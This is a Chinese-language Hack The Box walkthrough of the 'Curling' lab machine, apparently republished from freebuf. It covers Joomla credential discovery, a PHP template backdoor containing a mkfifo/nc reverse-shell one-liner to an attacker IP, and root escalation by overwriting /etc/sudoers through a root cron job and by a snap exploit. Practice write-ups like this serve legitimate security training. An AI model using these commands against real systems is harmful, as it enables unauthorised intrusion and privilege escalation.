HTB:Curling渗透测试 – 作者:WAFmax

基础信息

简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透。
链接:https://www.hackthebox.eu/home/machines/profile/160
描述:
图片.png

前言

本次演练使用kali系统按照渗透测试的过程进行操作,在渗透前期通过信息收集获取到用户的账号与密码,使用该账号进入管理系统反弹shell,获取shell后通过信息收集发现可以ssh远程连接的账号,获取该账号权限,最终通过提权获得root权限。

一、信息搜集

1、靶机IP

IP地址为:10.10.10.150
图片.png

2、靶机端口与服务

nmap -sT -T4 -sV -A -O 10.10.10.150

图片.png

PORT     STATE    SERVICE      VERSION
22/tcp   open     ssh          OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http         Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
3971/tcp filtered lanrevserver

3、网站信息收集

查看80端口收集可以利用的信息
通过浏览网页发现用户名Floris
图片.png查看前端源代码发现secret.txt
图片.png查看该页面,这是一个通过base64编码之后的内容
图片.png解码之后得到密码:Curling2018!
图片.png通过网站的信息收集我们得到了一个可能可以用来登录的用户
用户名:floris
密码:Curling2018

二、漏洞探测与利用

1、目录扫描

通过目录扫描获取该网站的登陆页面目录
http://10.10.10.150/administrator/
图片.png使用账号密码进行登录
成功进入到系统页面中
图片.png

2 、反弹shell

Joomla的cms中可进行shell反弹的页面在Templates: Templates (Site)中
图片.png进入该路径会发现两个网站模板,这里我们进入第一个去写shell
图片.png图片.png

<?php
 	system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4242 >/tmp/f"); 
 ?>

写入完成之后进行保存
访问该文件
图片.png使用nc监听获取反弹shell
图片.png成功获取到shell
获取交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

图片.png

三、提权

1、获取user.txt

进入home的floris目录下发现user.txt,查看该文件发现权限不够
图片.png但是该目录下还存在一个password_backup文件查看该文件发现是十六进制文件,可以用xxd解密
图片.png

xxd -r password_backup > password

通过解码之后查看,发现是乱码
图片.png通过file命令得知只是一个bzip2文件需要进行解压
图片.png解压之后再次查看文件发现是gzip文件需要在西进行解压
图片.png再次使用bzip2进行解压
图片.png最终获得一个tar包
图片.png使用命令解压该压缩包获得密码
图片.png使用ssh进行远程登录,获取user.txt
图片.png

2、提权获取root权限

(1)利用input写入文件进行提权
进入admin-area目录下查看文件
图片.png发现这就是为网页的内容
图片.png使用ls -la查看两个文件的权限
得知input具有写权限
图片.png在使用pspy查看进程信息,发现有一个任务一直在执行
图片.png1> 我们可以修改input文件让该文件调用本机的恶意文件进行提权
图片.png

root    ALL=(ALL:ALL) ALL
floris  ALL=(ALL:ALL) ALL

2> 修改input文件
调用本机的而已文件输出到/etc/sudoers中
注:/etc/sudoers是使用sudo命令的文件
图片.png因为该进程是隔一段时间进行一次,当本机出现200ok的时候执行成功
图片.png这里我们使用sudo -i 命令进入到root权限
图片.png查看root.txt
图片.png

(2)使用ubantu版本l漏洞提权
使用linpeas.sh收集该靶机的系统信息
图片.png查看snap版本
图片.png使用 searchsploit查看对应的版本漏洞
图片.png将该文件上传到靶机中直接利用
图片.png使用该账号进行登录,使用sudo查看权限发现已经是root权限
图片.png获取root.txt
图片.png

四、总结

该靶机的思路比较清晰,通过信息收集获取到账号密码进行登录,就是在进行ssh远程登陆密码获取时陷入了套娃环节,一个套一个比较麻烦,最后再提权是也有不同的方法可以进行提权思路明确值得一做。

来源:freebuf.com 2021-05-31 13:38:41 by: WAFmax

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论